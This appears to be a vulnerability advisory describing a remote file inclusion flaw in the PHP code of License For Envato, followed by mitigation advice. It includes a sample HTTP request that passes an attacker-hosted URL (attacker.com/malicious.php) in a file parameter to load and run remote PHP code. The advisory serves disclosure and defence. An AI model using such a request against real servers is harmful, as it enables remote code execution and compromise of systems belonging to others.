How the Exploit Works
The exploit works due to improper control of the filename for include/require statements in the PHP program of the License For Envato software. An attacker can manipulate these statements to remotely load PHP files from an external server. This can lead to the execution of arbitrary PHP code on the affected system.
Conceptual Example Code
An attacker might exploit this vulnerability by sending a crafted request to a vulnerable instance of License For Envato. The request could look something like this:
GET /vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, `vulnerable.php` is a script that includes or requires a file based on the `file` parameter, and `http://attacker.com/malicious.php` is an attacker-controlled file that contains malicious PHP code. When the server processes the request, it includes the malicious file, executing the attacker’s code.
Mitigation
Users are advised to apply patches provided by the vendor to fix this vulnerability. In cases where patches can’t be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also recommended to check and sanitize all inputs and avoid using user inputs directly in include/require statements in PHP programs.
